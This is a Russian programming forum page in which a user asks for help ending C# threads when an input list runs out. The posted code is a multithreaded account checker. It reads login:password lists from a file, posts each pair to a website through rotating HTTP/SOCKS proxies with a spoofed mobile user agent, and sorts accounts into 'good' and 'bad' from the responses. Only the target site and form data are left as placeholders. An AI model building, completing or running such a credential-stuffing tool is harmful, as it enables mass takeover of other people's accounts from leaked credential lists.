.NET 4.x Завершение потоков если переменная равна 0 - C#
Формулировка задачи:
В общем, при нажатии на кнопку, у меня создается колличество потоков которое указанно в textbox.
Вот в общем код кнопки
Вот метод Worcher с для которого создаются потоки
А вот а вот сам Checker
\
А вот сюда загружается база
Базы загружаются в listing.
Я делаю так как снизу, то не работает
Помогите сделать правила при котором если в базе кончились строки, то потоки завершаются.
И так же куда это добавлять.
Листинг программы
- private void button1_Click_1(object sender, EventArgs e)
- {
- site = true;
- Listing.threadList.Clear();
- for (int thrcount = 0; thrcount < countThreads.Value; thrcount++)
- {
- Thread th = new Thread(Worcher);
- Listing.threadList.Add(th);
- th.Start();
- }
- }
Листинг программы
- private void Worcher()
- {
- while (site)
- {
- try
- {
- string acc = string.Empty;
- string login = string.Empty;
- string pass = string.Empty;
- string nick = string.Empty;
- lock (lockers)
- {
- if (Listing.tempbase.Count > 0)
- {
- acc = Listing.tempbase[0];
- Listing.tempbase.RemoveAt(0);
- }
- else
- {
- site = false;
- return;
- }
- }
- if (string.IsNullOrEmpty(acc))
- {
- Thread.Sleep(900);
- continue;
- }
- if (acc.Contains(";"))
- {
- login = acc.Split(';')[0].Trim();
- pass = acc.Split(';')[1].Trim();
- nick = login.Split('@')[0].Trim();
- }
- if (acc.Contains(":"))
- {
- login = acc.Split(':')[0].Trim();
- pass = acc.Split(':')[1].Trim();
- nick = login.Split('@')[0].Trim();
- }
- // if(pass.Length < 6)
- // {
- // DataResult("error", login + ":" + pass); // На случий если нужно будет сортировать пароли по длине .
- // continue;
- // }
- Checker(nick, HttpUtility.UrlEncode(login), HttpUtility.UrlEncode(pass));
- }
- catch { continue; }
- }
- }
Листинг программы
- private void Checker(string nick, string login, string pass)
- {
- string device = textBox3.Text;
- using (var request = new xNet.HttpRequest())
- {
- if (proxy_type.Text == "HTTP/s")
- request.Proxy = HttpProxyClient.Parse(GetProxy());
- if (proxy_type.Text == "SOCKS-4")
- request.Proxy = Socks4ProxyClient.Parse(GetProxy());
- if (proxy_type.Text == "SOCKS-5")
- request.Proxy = Socks5ProxyClient.Parse(GetProxy());
- request.Cookies = new CookieDictionary();
- request.ConnectTimeout = (int)countTime.Value * 1000;
- request.UserAgent = "Dalvik/1.6.0 (Linux; U; Android 4.4.2; VMware Virtual Platform Build/KVT49L)";
- request.AllowAutoRedirect = false;
- string connect = request.Post("тут сайт", "тут пост данные", "application/x-www-form-urlencoded").ToString();
- if (connect.Contains("secauth"))
- {
- DataResult("good", login + ":" + pass);
- }
- if (connect.Contains("invalid"))
- {
- DataResult("bad", login + ":" + pass);
- }
- }
- }
Листинг программы
- private void button1_Click(object sender, EventArgs e)
- {
- using (OpenFileDialog dialog = new OpenFileDialog()) // создание нового OpenFileDialog
- {
- dialog.Filter = "Текстовые файлы|*.txt"; // отображение файлов с расширением .txt
- if (dialog.ShowDialog() == DialogResult.OK) // если выбираем файл и нажимаем кнопку ОК
- {
- Listing.tempbase.Clear();
- Listing.tempbase.AddRange(File.ReadAllLines(dialog.FileName));
- tempBase = File.ReadAllText(dialog.FileName).Replace(";", ":");
- open_basa.Text = "Строк: " + Listing.tempbase.Count.ToString();
- int k = tempBase.Split('\n').Count();
- int i = 0;
- {
- Array.Resize(ref baza, i + 1);
- baza[i] = tempBase;
- i++;
- }
- countLines = k;
- progressBar.Maximum = Listing.tempbase.Count;
- progressBar.SuperscriptText = Listing.tempbase.Count.ToString();
- linkLabel2.Text = countLines.ToString();
- }
- }
- }
Листинг программы
- private void Worcher()
- if (Listing.tempbase.Count() == 0)
- {
- site = false;
- foreach (Thread thread in Listing.threadList)
- {
- thread.Abort();
- }
- }
- {
- while (site)
- {
- try
- {
- string acc = string.Empty;
- string login = string.Empty;
- string pass = string.Empty;
- string nick = string.Empty;
- lock (lockers)
- {
- if (Listing.tempbase.Count > 0)
- {
- acc = Listing.tempbase[0];
- Listing.tempbase.RemoveAt(0);
- }
- else
- {
- site = false;
- return;
- }
- }
- if (string.IsNullOrEmpty(acc))
- {
- Thread.Sleep(900);
- continue;
- }
- if (acc.Contains(";"))
- {
- login = acc.Split(';')[0].Trim();
- pass = acc.Split(';')[1].Trim();
- nick = login.Split('@')[0].Trim();
- }
- if (acc.Contains(":"))
- {
- login = acc.Split(':')[0].Trim();
- pass = acc.Split(':')[1].Trim();
- nick = login.Split('@')[0].Trim();
- }
- // if(pass.Length < 6)
- // {
- // DataResult("error", login + ":" + pass); // На случий если нужно будет сортировать пароли по длине .
- // continue;
- // }
- Checker(nick, HttpUtility.UrlEncode(login), HttpUtility.UrlEncode(pass));
- }
- catch { continue; }
- }
- }
Решение задачи: «.NET 4.x Завершение потоков если переменная равна 0»
textual
Листинг программы
- Thread th = new Thread(new ParameterizedThreadStart(Worcher));
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д